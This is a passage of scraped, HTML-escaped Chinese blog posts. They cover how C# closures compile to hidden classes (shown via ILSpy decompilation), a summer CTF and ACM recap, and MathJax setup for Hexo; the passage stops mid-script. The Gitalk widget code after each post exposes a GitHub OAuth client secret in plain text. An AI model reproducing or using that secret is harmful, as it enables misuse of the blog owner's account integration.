class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eusing\u003c/span\u003e System;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eusing\u003c/span\u003e System.Collections.Generic;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eusing\u003c/span\u003e System.Linq;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eusing\u003c/span\u003e System.Reflection;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003enamespace\u003c/span\u003e \u003cspan class=\"title\"\u003eTest\u003c/span\u003e \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003epublic\u003c/span\u003e \u003cspan class=\"keyword\"\u003eclass\u003c/span\u003e \u003cspan class=\"title\"\u003eProgram\u003c/span\u003e \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003epublic\u003c/span\u003e \u003cspan class=\"keyword\"\u003estatic\u003c/span\u003e \u003cspan class=\"keyword\"\u003evoid\u003c/span\u003e \u003cspan class=\"title\"\u003eMain\u003c/span\u003e (\u003cspan class=\"params\"\u003e\u003c/span\u003e)\u003c/span\u003e \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e Action f = () =\u0026gt; \u0026#123; \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e; \u0026#125;;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e f ();\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e Assembly asm = Assembly.GetAssembly (\u003cspan class=\"keyword\"\u003etypeof\u003c/span\u003e (Program));\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e IList\u0026lt;Type\u0026gt; classes = asm.GetTypes ()\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e .Where (x =\u0026gt; x.IsClass)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e .ToList ();\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eforeach\u003c/span\u003e (\u003cspan class=\"keyword\"\u003evar\u003c/span\u003e i \u003cspan class=\"keyword\"\u003ein\u003c/span\u003e classes) Console.WriteLine (i);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e/*\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003eTest.Program\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003eTest.Program+\u0026lt;\u0026gt;c\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e*/\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面的程序中创建了一个没有传入参数,没有返回值的匿名函数\u003c/p\u003e\u003cp\u003e由于匿名函数没有捕获其所在作用域内的任何变量,故这个函数\u003cstrong\u003e不构成闭包\u003c/strong\u003e\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e\u0026lt;\u0026gt;c不是我们关心的东西\u003c/p\u003e\u003c/blockquote\u003e\u003cfigure class=\"highlight csharp\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e...\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003epublic\u003c/span\u003e \u003cspan class=\"keyword\"\u003estatic\u003c/span\u003e \u003cspan class=\"keyword\"\u003evoid\u003c/span\u003e \u003cspan class=\"title\"\u003eMain\u003c/span\u003e (\u003cspan class=\"params\"\u003e\u003c/span\u003e)\u003c/span\u003e \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003evar\u003c/span\u003e a = \u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e Func\u0026lt;\u003cspan class=\"built_in\"\u003eint\u003c/span\u003e\u0026gt; f = () =\u0026gt; a;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e f ();\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e Assembly asm = Assembly.GetAssembly (\u003cspan class=\"keyword\"\u003etypeof\u003c/span\u003e (Program));\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e...\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e/*\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003eTest.Program\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003eTest.Program+\u0026lt;\u0026gt;c__DisplayClass0_0\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003eTest.Program+\u0026lt;\u0026gt;c\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e*/\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e对上面的程序做略微的修改,这个匿名函数现在使用了在\u003ccode\u003eMain\u003c/code\u003e函数中的变量\u003ccode\u003ea\u003c/code\u003e,\u003cstrong\u003e构成了闭包\u003c/strong\u003e,同时我们能看到出现了一个名叫\u003ccode\u003eProgram+\u0026lt;\u0026gt;c__DisplayClass0_0\u003c/code\u003e的类。\u003c/p\u003e\u003cp\u003e打开反编译器,让我们康康它到底是个啥。\u003c/p\u003e\u003cp\u003e默认情况下,ILSpy会忽略掉编译器生成的各种东西,那既然我们知道匿名函数是C#2.0出来的东西,那我们就照着C#1.0来逆,ILSpy就会不知道该咋办从而显示出来了\u003c/p\u003e\u003cp\u003e貌似windows上Ilspy GUI里头还有显示Compiler Generated的选项。\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eilspycmd output.dll -lv CSharp1\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cfigure class=\"highlight csharp\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// in namespace Test :\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e[\u003cspan class=\"meta\"\u003eCompilerGenerated\u003c/span\u003e]\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eprivate\u003c/span\u003e \u003cspan class=\"keyword\"\u003esealed\u003c/span\u003e \u003cspan class=\"keyword\"\u003eclass\u003c/span\u003e \u0026lt;\u0026gt;\u003cspan class=\"title\"\u003ec__DisplayClass0_0\u003c/span\u003e \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003epublic\u003c/span\u003e \u003cspan class=\"built_in\"\u003eint\u003c/span\u003e a;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003einternal\u003c/span\u003e \u003cspan class=\"built_in\"\u003eint\u003c/span\u003e \u0026lt;Main\u0026gt;b__0() \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e a;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// in function Main() :\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eProgram.\u0026lt;\u0026gt;c__DisplayClass0_0 CS$\u0026lt;\u0026gt;\u003cspan class=\"number\"\u003e8\u003c/span\u003e__locals1 = \u003cspan class=\"keyword\"\u003enew\u003c/span\u003e Program.\u0026lt;\u0026gt;c__DisplayClass0_0();\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eCS$\u0026lt;\u0026gt;\u003cspan class=\"number\"\u003e8\u003c/span\u003e__locals1.a = \u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eFunc\u0026lt;\u003cspan class=\"built_in\"\u003eint\u003c/span\u003e\u0026gt; f = \u003cspan class=\"keyword\"\u003enew\u003c/span\u003e Func\u0026lt;\u003cspan class=\"built_in\"\u003eint\u003c/span\u003e\u0026gt;(CS$\u0026lt;\u0026gt;\u003cspan class=\"number\"\u003e8\u003c/span\u003e__locals1.\u0026lt;Main\u0026gt;b__0);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003ef();\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e可以看到,rosyln创建了一个单独的类,在运行时将自由变量赋给这个类的成员,从而实现了闭包。\u003c/p\u003e\u003cp\u003ebtw,我们还能从上面的反编译出来的代码中推断出,对于闭包,C#采用了引用传递,而非值传递(由于变量的地址相同,反编译器把它们当作了同一个变量)。仔细思考一下,这符合描述闭包的哪一句定义?\u003c/p\u003e\u003ch2 id=\"Backing-Field-与-getter-setter\"\u003eBacking Field 与 getter/setter\u003c/h2\u003e\u003cp\u003e// WIP\u003c/p\u003e\u003cdiv id=\"gitalk-container\"\u003e\u003c/div\u003e\u003cscript src=\"https://cdn.bootcss.com/blueimp-md5/2.12.0/js/md5.min.js\"\u003e\u003c/script\u003e\u003clink rel=\"stylesheet\" href=\"https://unpkg.com/gitalk/dist/gitalk.css\"\u003e\u003cscript src=\"https://unpkg.com/gitalk/dist/gitalk.min.js\"\u003e\u003c/script\u003e\u003cscript\u003evar gitalkConfig = {\"clientID\":\"5955d155fe2ea768241e\",\"clientSecret\":\"f96bbda9ff434950217f24f7f9369f8b8de3b025\",\"repo\":\"frankli0324.github.io\",\"owner\":\"frankli0324\",\"admin\":[\"frankli0324\"],\"distractionFreeMode\":false}; gitalkConfig.id = md5(location.pathname);var gitalk = new Gitalk(gitalkConfig); gitalk.render(\"gitalk-container\"); \u003c/script\u003e\u003clink rel=\"stylesheet\" href=\"/css/spoiler.css\" type=\"text/css\"\u003e\u003cscript src=\"/js/spoiler.js\" type=\"text/javascript\" async\u003e\u003c/script\u003e","url":"https://blog.frankli.site/2020/02/07/Security/Osu%E9%80%86%E5%90%91%E8%BF%87%E7%A8%8B%E4%B8%AD%E7%9A%84%E4%B8%80%E4%BA%9B%E5%B0%8F%E7%BB%93/"},{"title":"2019暑假划水小结","time":"2019-08-23T09:50:44Z","content":"\u003ch2 id=\"TOC\"\u003e[TOC]\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003emoeCTF\u003c/li\u003e\n\u003cli\u003emssCTF\u003c/li\u003e\n\u003cli\u003eACM牛客多校\u003c/li\u003e\n\u003cli\u003eACM暑训\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2 id=\"moeCTF\"\u003emoeCTF\u003c/h2\u003e\n\u003cp\u003e今年的moeCTF貌\u003chr /\u003e\u003ch2 id=\"TOC\"\u003e[TOC]\u003c/h2\u003e\u003cul\u003e\u003cli\u003emoeCTF\u003c/li\u003e\u003cli\u003emssCTF\u003c/li\u003e\u003cli\u003eACM牛客多校\u003c/li\u003e\u003cli\u003eACM暑训\u003c/li\u003e\u003c/ul\u003e\u003ch2 id=\"moeCTF\"\u003emoeCTF\u003c/h2\u003e\u003cp\u003e今年的moeCTF貌似开早了,题也放的超级多\u003cbr\u003e有EndCat带设计师的加持,今年的moeCTF的海报和logo做的究级有排面\u003cbr\u003e服务器的uptime \u0026gt;= 95%,还行\u003c/p\u003e\u003cp\u003e平台的一些修改:\u003c/p\u003e\u003cul\u003e\u003cli\u003e添加了提交flag时的hook,每次正确提交都会在群里提示\u003c/li\u003e\u003cli\u003e添加了hidden用户的排行榜,方便大师傅们看榜\u003c/li\u003e\u003c/ul\u003e\u003ch2 id=\"mssCTF\"\u003emssCTF\u003c/h2\u003e\u003cp\u003e去年参加的mssCTF今年还是西电举办,于是我就做了些微小的工作…\u003cbr\u003e虽然说最后成功让CTFd支持了ACM评测,但是由于过程极其坎坷,浪费了很多时间,我觉得比较失败\u003cbr\u003e\u003ca href=\"/2019/07/25/%E7%BB%99CTFd%E5%8A%A0%E4%B8%8AACM%E8%AF%84%E6%B5%8B%E5%8A%9F%E8%83%BD/\"\u003e一些微小的工作\u003c/a\u003e\u003c/p\u003e\u003ch2 id=\"ACM牛客多校\"\u003eACM牛客多校\u003c/h2\u003e\u003cp\u003e暑假主要参与的活动就是牛客的多校训练。我有以下几点感受:\u003c/p\u003e\u003cul\u003e\u003cli\u003e我好菜啊\u003c/li\u003e\u003cli\u003e我好蔡啊\u003c/li\u003e\u003cli\u003e我好🥬啊\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e看到几何旋律每次都直接平A过去,心态有·崩\u003cbr\u003e交钱买了一件衣服\u003cbr\u003e\u003ca href=\"/2019/08/06/2019%E6%9A%91%E6%9C%9F%E7%89%9B%E5%AE%A2%E5%A4%9A%E6%A0%A1/\"\u003e多校\u003c/a\u003e\u003c/p\u003e\u003ch2 id=\"ACM暑期集训\"\u003eACM暑期集训\u003c/h2\u003e\u003cp\u003e每天早上9点开始的集训,本来是暑实的大好机会,然而由于多种因素共同导致的事件而错过了。\u003cbr\u003e说实在的挺后悔的,没特别认真的听,又在浪费时间浪费生命。\u003cbr\u003eACM暑训模拟赛 校内Au, 3rd\u003c/p\u003e\u003cdiv id=\"gitalk-container\"\u003e\u003c/div\u003e\u003cscript src=\"https://cdn.bootcss.com/blueimp-md5/2.12.0/js/md5.min.js\"\u003e\u003c/script\u003e\u003clink rel=\"stylesheet\" href=\"https://unpkg.com/gitalk/dist/gitalk.css\"\u003e\u003cscript src=\"https://unpkg.com/gitalk/dist/gitalk.min.js\"\u003e\u003c/script\u003e\u003cscript\u003evar gitalkConfig = {\"clientID\":\"5955d155fe2ea768241e\",\"clientSecret\":\"f96bbda9ff434950217f24f7f9369f8b8de3b025\",\"repo\":\"frankli0324.github.io\",\"owner\":\"frankli0324\",\"admin\":[\"frankli0324\"],\"distractionFreeMode\":false}; gitalkConfig.id = md5(location.pathname);var gitalk = new Gitalk(gitalkConfig); gitalk.render(\"gitalk-container\"); \u003c/script\u003e\u003clink rel=\"stylesheet\" href=\"/css/spoiler.css\" type=\"text/css\"\u003e\u003cscript src=\"/js/spoiler.js\" type=\"text/javascript\" async\u003e\u003c/script\u003e","url":"https://blog.frankli.site/2019/08/23/Misc/2019%E6%9A%91%E5%81%87%E5%88%92%E6%B0%B4%E5%B0%8F%E7%BB%93/"},{"title":"论mathjax踩坑","time":"2019-08-06T16:00:00Z","content":"\u003cblockquote\u003e\n\u003cp\u003e我就不应该想起来要折腾博客的\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch2 id=\"结论\"\u003e结论\u003c/h2\u003e\n\u003cp\u003e结论放前面吧\u003cbr\u003e\nhexo自带的renderer对mathjax较不友好,于是换成了\u003ccode\u003ehexo-renderer-mark\u003chr /\u003e\u003cblockquote\u003e\u003cp\u003e我就不应该想起来要折腾博客的\u003c/p\u003e\u003c/blockquote\u003e\u003ch2 id=\"结论\"\u003e结论\u003c/h2\u003e\u003cp\u003e结论放前面吧\u003cbr\u003ehexo自带的renderer对mathjax较不友好,于是换成了\u003ccode\u003ehexo-renderer-markdown-it\u003c/code\u003e\u003cbr\u003e\u003ca href=\"https://github.com/hexojs/hexo-renderer-marked\"\u003erenderer-marked\u003c/a\u003e\u003cbr\u003e\u003ca href=\"https://github.com/hexojs/hexo-renderer-markdown-it\"\u003erenderer-markdown-it\u003c/a\u003e\u003cbr\u003e其实这并没有解决我的问题,只是看着有commonmark…真正解决我问题的是\u003ca href=\"https://github.com/hexojs/hexo-renderer-markdown-it/issues/36\"\u003e这个issue\u003c/a\u003e\u003c/p\u003e\u003cp\u003e现在的配置基本上是这样:\u003cbr\u003enpm install --save hexo-renderer-markdown-it markdown-it-mathjax\u003cbr\u003e使用了cactus主题,具体配置不说,主要是在cactus/layout/poast.ejs中要手动对文章内的公式渲染一下\u003c/p\u003e\u003cfigure class=\"highlight js\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e30\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e31\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e32\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e33\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e34\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e35\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e36\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e37\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u0026lt;% \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(page.math) \u0026#123; %\u0026gt;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026lt;script type=\u003cspan class=\"string\"\u003e\u0026quot;text/x-mathjax-config\u0026quot;\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e MathJax.Hub.Config(\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026quot;HTML-CSS\u0026quot;\u003c/span\u003e: \u0026#123; \u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e scale: \u003cspan class=\"number\"\u003e100\u003c/span\u003e,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e preferredFont: \u003cspan class=\"string\"\u003e\u0026quot;TeX\u0026quot;\u003c/span\u003e,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e availableFonts: [\u003cspan class=\"string\"\u003e\u0026quot;STIX\u0026quot;\u003c/span\u003e,\u003cspan class=\"string\"\u003e\u0026quot;TeX\u0026quot;\u003c/span\u003e],\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e linebreaks: \u0026#123; \u003cspan class=\"attr\"\u003eautomatic\u003c/span\u003e:\u003cspan class=\"literal\"\u003etrue\u003c/span\u003e \u0026#125;,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e EqnChunk: (MathJax.Hub.Browser.isMobile ? \u003cspan class=\"number\"\u003e10\u003c/span\u003e : \u003cspan class=\"number\"\u003e50\u003c/span\u003e)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e tex2jax: \u0026#123; \u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e inlineMath: [ [\u003cspan class=\"string\"\u003e\u0026quot;$\u0026quot;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026quot;$\u0026quot;\u003c/span\u003e] ],\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e displayMath: [ [\u003cspan class=\"string\"\u003e\u0026quot;$$\u0026quot;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026quot;$$\u0026quot;\u003c/span\u003e] ],\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e processEscapes: \u003cspan class=\"literal\"\u003etrue\u003c/span\u003e,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e ignoreClass: \u003cspan class=\"string\"\u003e\u0026quot;tex2jax_ignore|dno\u0026quot;\u003c/span\u003e,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e skipTags: [\u003cspan class=\"string\"\u003e\u0026#x27;script\u0026#x27;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;noscript\u0026#x27;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;style\u0026#x27;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;textarea\u0026#x27;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;pre\u0026#x27;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;code\u0026#x27;\u003c/span\u003e]\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e TeX: \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e noUndefined: \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e attributes: \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e mathcolor: \u003cspan class=\"string\"\u003e\u0026quot;red\u0026quot;\u003c/span\u003e, \u003cspan class=\"attr\"\u003emathbackground\u003c/span\u003e: \u003cspan class=\"string\"\u003e\u0026quot;#FFEEEE\u0026quot;\u003c/span\u003e, \u003cspan class=\"attr\"\u003emathsize\u003c/span\u003e: \u003cspan class=\"string\"\u003e\u0026quot;90%\u0026quot;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;, \u003cspan class=\"attr\"\u003eMacros\u003c/span\u003e: \u0026#123; \u003cspan class=\"attr\"\u003ehref\u003c/span\u003e: \u003cspan class=\"string\"\u003e\u0026quot;\u0026#123;\u0026#125;\u0026quot;\u003c/span\u003e \u0026#125; \u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e messageStyle: \u003cspan class=\"string\"\u003e\u0026quot;none\u0026quot;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;); 